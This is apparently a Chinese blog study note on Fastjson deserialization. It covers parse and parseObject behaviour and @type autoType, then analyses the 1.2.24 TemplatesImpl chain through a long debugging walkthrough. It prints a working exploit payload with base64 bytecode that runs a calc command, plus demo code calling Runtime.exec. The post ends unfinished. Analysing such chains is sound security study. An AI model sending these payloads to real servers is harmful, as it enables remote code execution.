Fastjson反序列化

基础概念

fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean

JAVAbean之前学某个链子的时候用过,感觉就是一种封装

https://liaoxuefeng.com/books/java/oop/core/javabean/index.html

在Java中,有很多class的定义都符合这样的规范:

  • 若干private实例字段;
  • 通过public方法来读写实例字段。

例如:

public class Person {
    private String name;
    private int age;

    public String getName() { return this.name; }
    public void setName(String name) { this.name = name; }

    public int getAge() { return this.age; }
    public void setAge(int age) { this.age = age; }
}

如果读写方法符合以下这种命名规范:

// 读方法:
public Type getXyz()
// 写方法:
public void setXyz(Type value)

那么这种class被称为JavaBean

fastjson文档 https://github.com/alibaba/fastjson/wiki/Quick-Start-CN

fastjson的API十分简洁。

String text = JSON.toJSONString(obj); //序列化
VO vo = JSON.parseObject("{...}", VO.class); //反序列化

maven依赖

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>x.x.x</version>
</dependency>

其中x.x.x是版本号,根据需要使用特定版本,建议使用最新版本。

三种反序列化方法比较

导入包

<dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
</dependency>

demo

package demo;

import com.alibaba.fastjson.JSON;

public class demo {
    private String name;
    private int age;

    public User(){
        System.out.println("调用constructor");
    }

    public String getName() {
        System.out.println("调用getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("调用getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用setAge");
        this.age = age;
    }

}

json反序列化

使用toJSONString把UserBean序列化成json,测试三种反序列化的方法

  • JSON.parse(s1)
  • JSON.parseObject(s1)
  • JSON.parseObject(s1,Object.class)
package demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {

    public static void main(String[] args) {
        //创建一个用于实验的user类
        User user1 = new User();
        user1.setName("xxx");
        user1.setAge(18);

        //序列化
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("serializedStr= "+serializedStr);

        //通过parse方法进行反序列化,返回的是一个JSONObject
        System.out.println("1.parse方法进行反序列化:");
        Object obj1 = JSON.parse(serializedStr);
        System.out.println("parse反序列化对象名称:"+obj1.getClass().getName());
        System.out.println("parse反序列化:"+obj1);

        //通过parseObject,不指定类,返回的是一个JSONObject
        System.out.println("2.parseObject不指定类进行反序列化:");
        Object obj2 = JSON.parseObject(serializedStr);
        System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName());
        System.out.println("parseObject反序列化:"+obj2);

        //通过parseObject,指定类后返回的是一个相应的类对象
        System.out.println("3.parseObject指定类进行反序列化:");
        Object obj3 = JSON.parseObject(serializedStr,User.class);
        System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
        System.out.println("parseObject反序列化:"+obj3);
    }
}

结果

调用constructor
调用setName
调用setAge
调用getAge
调用getName
serializedStr= {"age":18,"name":"ThnPkm"}
1.parse方法进行反序列化:
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{"name":"ThnPkm","age":18}
2.parseObject不指定类进行反序列化:
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"ThnPkm","age":18}
3.parseObject指定类进行反序列化:
调用constructor
调用setAge
调用setName
parseObject反序列化对象名称:fastjson.demo
parseObject反序列化:fastjson.demo@621be5d1
  • parse("") 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
  • parseObject("")会调用反序列化目标类的特定 setter 和 getter 方法(此处有的博客说是所有setter,个人测试返回String的setter是不行的,此处打个问号)
  • parseObject("",class) 只调用反序列化得到的类的构造函数、JSON里面的非私有属性的setter方法、properties属性的getter方法;

其中getter自动调用还需要满足以下条件:

  • 方法名长度大于4
  • 非静态方法
  • 以get开头且第四个字母为大写
  • 无参数传入
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

setter自动调用需要满足以下条件:

  • 方法名长度大于4
  • 非静态方法
  • 返回值为void或者当前类
  • 以set开头且第四个字母为大写
  • 参数个数为1个

除此之外Fastjson还有以下功能点:

  1. fastjson 在为类属性寻找getter/setter方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略_ -字符串
  2. fastjson 在反序列化时,如果Field类型为byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,在序列化时也会进行base64编码

@type

@type是个啥?

@type是fastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是一个]ava对象的类型。具体来说,当fastjson从ISON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型

fastjson在1.2.24之后默认禁用Autotype,可以通过Parserconfig.getGlobalInstance().addAccept(“java.1ang”);来开启,否则会报错autoType is not support.

package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.IOException;
import java.io.IOException;

public class type {
    public static void main(String[] args) throws IOException {

        String json = " {\"@type\":\"java.lang.Runtime\"}";
//        ParserConfig.getGlobalInstance().addAccept("java.lang");
        Runtime runtime = (Runtime) JSON.parseObject(json, Object.class);
        System.out.println("parseObject反序列化对象名称:"+runtime.getClass().getName());
        runtime.exec("calc.exe");

    }
}

image-20240903150206407

所以这里出现了一个很敏感的问题,@type为恶意类时,我们可以通过他的get或set方法去进行一些恶意的操作了

SerializerFeature.WriteClassName

SerializerFeature.WriteClassName,是JSON.toJSONString()中的一个设置属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法。 Fastjson接受的JSON可以通过@type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作

  • 我传入的json什么条件下可以反序列化到我JSON.parseObject里指定的类中?

    答案是我指定的类的属性名和json的key的名字相同,那如果不同呢?也可以通过注解来解决

    比如说我的类里是abage,但是json里是age,在类里加一个注解也可以解决:@JSONField(name = "age")

String serializedStr=JSON.toJSONString(user,SerializerFeature.WriteClassName);

可以和前面运行的结果进行对比,这里执行parse反序列化对象从JSONObject变成了我们自己编写的user类

package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Fastjsontest {
    public static void main(String[] args) {
        demo user1 = new demo();
        user1.setName("xxx");
        user1.setAge(18);

        //序列化
        String serializedStr = JSON.toJSONString(user1, SerializerFeature.WriteClassName);
        System.out.println("serializedStr= "+serializedStr);
        //反序列化
        Object obj3 = JSON.parseObject(serializedStr,demo.class);
        System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
        System.out.println("parseObject反序列化:"+obj3);

    }
}
调用constructor
调用setName
调用setAge
调用getAge
调用getName
serializedStr= {"@type":"fastjson.demo","age":18,"name":"xxx"}
调用constructor
调用setAge
调用setName
parseObject反序列化对象名称:fastjson.demo
parseObject反序列化:fastjson.demo@497470ed

Feature.SupportNonPublicField(反序列化)

把demo里面的setAge注释掉,就不能设置age了,因为原先反序列化的时候都是调用setAge

package fastjson;
import com.alibaba.fastjson.JSON;

public class SupportNonPublicField {
    public static void main(String[] args){
        demo xiaoming = JSON.parseObject("{\"age\":20,\"name\":\"xxx\"}",demo.class);
        System.out.println("Name: "+xiaoming.getName());
        System.out.println("Age: "+xiaoming.getAge());
    }
}

结果

调用constructor
调用setName
调用getName
Name: xxx
调用getAge
Age: 0

我们获取到的是 初始化的值 为0

但是这里我们加上 Feature.SupportNonPublicField 即可获得该私有变量

package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class SupportNonPublicField {
    public static void main(String[] args){
        demo xiaoming = JSON.parseObject("{\"age\":20,\"name\":\"xxx\"}",demo.class, Feature.SupportNonPublicField);
        System.out.println("Name: "+xiaoming.getName());
        System.out.println("Age: "+xiaoming.getAge());
    }
}

结果

调用constructor
调用setName
调用getName
Name: xxx
调用getAge
Age: 20

parse与parseObject区别

FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象

parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。

进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。

漏洞原理

Fastjson使用parseObject()/parse()进行反序列化的时候可以指定类型。例如,如果指定类型为Object或JSONObject,则可以反序列化出来任意类。

例如代码写Object o = JSON.parseObject(poc,Object.class)就可以反序列化出Object类或其任意子类,而Object又是任意类的父类,所以就可以反序列化出所有类。

fastjson他反序列化的时候会去找到@type这个指定类的全部属性的seter geter方法来进行自动调用,也就是说如果存在一个可控的指定类,以及这个指定类中存在可控的set get方法,就可以通过这个fastjson去调用set方法去达到任意命令执行

看如下案例 一个java bean类

import java.io.IOException;
 
public class Calc {
    public String calc;
 
    public Calc() {
        System.out.println("调用了构造函数");
    }
 
    public String getCalc() {
        System.out.println("调用了getter");
        return calc;
    }
 
    public void setCalc(String calc) throws IOException {
        this.calc = calc;
        Runtime.getRuntime().exec("calc");
        System.out.println("调用了setter");
    }
}

序列化

public class SerFJTest {
    public static void main(String[] args) throws IOException {
        Calc calc = new Calc();
        calc.setCalc("zjacky");
        String jsonstring = JSON.toJSONString(calc, SerializerFeature.WriteClassName); //
        System.out.println(jsonstring);
    }
}

//  {"@type":"fastjson.Calc","calc":"zjacky"}

反序列化

import com.alibaba.fastjson.JSON;
 
public class Fastjson_Test {
    public static void main(String[] args) {
        String JSON_Calc = "{\"@type\":\"Calc\",\"calc\":\"Faster\"}";
        System.out.println(JSON.parseObject(JSON_Calc));
    }
}

Fastjson各版本漏洞分析

fastjson<=1.2.24

在小于fastjson1.2.22-1.2.24版本中有两条利用链。

  1. JNDI com.sun.rowset.JdbcRowSetImpl
  2. JDK7u21 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

TemplatesImpl链(JDK7u21)

条件苛刻

  1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
  2. 服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField)

因为payload需要赋值的一些属性为private属性,服务端必须添加特性才回去从json中恢复private属性的数据

之前分析的TemplateImpl的时候,他利用链的最外层是一个getOutputProperties,但是parse进行自动调用的是setXxxx,那么我们就得想办法去找到一个setXxxx调用

调用链

image-20240903170116037

payload

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJAoABwAWCgAXABgIABkKABcAGgcAGwoABQAWBwAcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB0BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAB4BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAMUGF5bG9hZC5qYXZhDAAIAAkHAB8MACAAIQEABGNhbGMMACIAIwEAE29yZy9leGFtcGxlL1BheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAANAAQADgANAA8ADAAAAAQAAQANAAEADgAPAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAAUAAwAAAAEAAEAEAABAA4AEQACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAGQAMAAAABAABABAACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAHAAIAB0ADAAAAAQAAQANAAEAFAAAAAIAFQ=="],'_name':'asd','_tfactory':{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

TemplateImpl类里有getOutputProperties 但是并没有getOutputProperties属性,但是有_outputProperties

动态调试

从头开始调

首先进入JSON.class#parse,到了com\alibaba\fastjson\JSON.class,这个类重载了一堆parse函数

跟进DefaultJSONParser构造方法

public DefaultJSONParser(String input, ParserConfig config, int features) {
        this(input, new JSONScanner(input, features), config);
    }

会调用到另一个构造函数

public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
        this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
        this.contextArrayIndex = 0;
        this.resolveStatus = 0;
        this.extraTypeProviders = null;
        this.extraProcessors = null;
        this.fieldTypeResolver = null;
        this.lexer = lexer;
        this.input = input;
        this.config = config;
        this.symbolTable = config.symbolTable;
        int ch = lexer.getCurrent();
        if (ch == '{') {
            lexer.next();
            ((JSONLexerBase)lexer).token = 12;
        } else if (ch == '[') {
            lexer.next();
            ((JSONLexerBase)lexer).token = 14;
        } else {
            lexer.nextToken();
        }

    }

重点在ch,但是ch这里已经有值了,应该去跟lexer,也就是new JSONScanner(input, features),重点在这个函数,这里不细说了

return this.ch = index >= this.len ? '\u001a' : this.text.charAt(index);

再到DefaultJSONParser.class的parse,从这也算是一切的开始

image-20240903180956635

进入DefaultJSONParser重载的另一个parse,这里lexer已经初始化了,后面根据它的token走流程

image-20240903181207250

跟进一下JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));

image-20240904152419720

返回一个hashmap

image-20240904152446001

出来的时候转换成JSONobject

image-20240904152617492

进到parseObject,他会识别@type,然后提取出我们输入的 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,作为变量clazz,这个变量非常重要

image-20240904100618113

JavaBeanDeserializer.class#getDeserializer,把提取的clazz传入了

然后就到了这里的两句关键代码

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);

跟一下第一句

进入JavaBeanDeserializer.class

调用重载

image-20240904101237841

前面一大堆各种处理

image-20240904153555166

关键点在这一句,往后很大的篇幅clazz、(Type)type也会一直被传递

image-20240904153611211

这里也是一个关键(又进去一层)

image-20240904153841100

这里首先拿到了clazz的属性、方法、构造方法,创建了一个列表fieldList用来存储下面对方法名处理完的结果

image-20240904154036338

这里循环遍历方法名

if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass())))筛选:

  • 方法名的长度是否大于等于 4
  • 方法不是静态方法
  • 方法的返回类型是否为 void 或与方法所属的类类型相同

image-20240904154236874

循环获取他的setXxxx方法,可以看到如果以_开头,他会有所处理

循环获取getXxxx

image-20240904102403840

把所有的setter和getter方法全部存入fieldList,可以看到这里都是去掉了get和set的,最后return一个JavaBeanInfo

处理完添加到前面创建的空数组里面添加一个 FieldInfo 对象

image-20240904154632675

最后返回一个JavaBeanInfo对象,fieldList添加了三个Filedinfo对象

image-20240904154851126

出来了

image-20240904154944921

往下

image-20240904155829600

终于出来了

image-20240904100727716

再回到DefaultJSONParser.class#parseObject,执行刚刚返回的deserializer的deserialza方法

image-20240904102835692

重载两次deserialze,这里Object通过反射获取到TemplateImpl的实例

image-20240904161944559

实例化TemplateImpl作为object

image-20240904103955520

返回这个object

image-20240904162247693

又回到了那个while循环里边

image-20240904162327839

这里解释一下这个循环,他是利用了这个循环,把JSON中的每一个属性放进反序列化出来的类中,变成完整的、与JSON数据对应的类

while循环里把参数代入,走进parseField方法里面(注意这里也是会进好几次parseField方法,可以观察每次的key是不同的,这个循环往复的过程中在持续恢复object对象,也就是tempslate)

image-20240904110300079

parseField方法

image-20240904110829495

调用smartMatch,对-和_进行处理

image-20240904112845074

跟进parseField方法,这里实例化了一个DefaultFieldDeserializer,然后再执行DefaultFieldDeserializer的parseField方法

image-20240904163819663

这里最后执行的this.fieldValueDeserilizer.deserialze

image-20240904163942612

跟进去看

image-20240904113831991

这里定义了一个空数组,然后执行了parser.parseArray

image-20240904165206799

跟进parseArray,这里执行了array.add,把_bytycode给加进去了,那么他add的val是怎么来的我们得跟一下前面的deserialze

image-20240904165106523

进去关注到这个函数bytesValue

image-20240904165327774

他会把我们的bytecode给base64解码,这也解释了我们为啥要把他base64给编码了

image-20240904171804299

return了我们解码了的bytecode,然后add进数组

最后再回到前面,执行this.toObjectArray(parser, componentClass, array)

image-20240904165618017

这里就把bytecode给放入array了

image-20240904165721894

出来了,赋值给value

image-20240904165945664

然后交给object(tempslate)

image-20240904170037822

image-20240904170103842

最后也是由这个setvalue触发方法执行

image-20240904170450275

然后就到了invoke了,执行TemplateImpl的getOutputProperties

在此之前setvalue调用的都是这里

image-20240904172401481

这里method是TemplatesImpl.getOutputProperties(),object是我们tempslate,tempslate里的_bytecodes就是我们后面会执行的字节码

image-20240904171156992

后面就是tempslate的内容了

image-20240904171222847

总结:json.parse根据我们传的@type将json的内容实例化为tempslate类,最终在while大循环里面的parseField的内层的setvalue触发getOutputProperties执行


未完待续

0%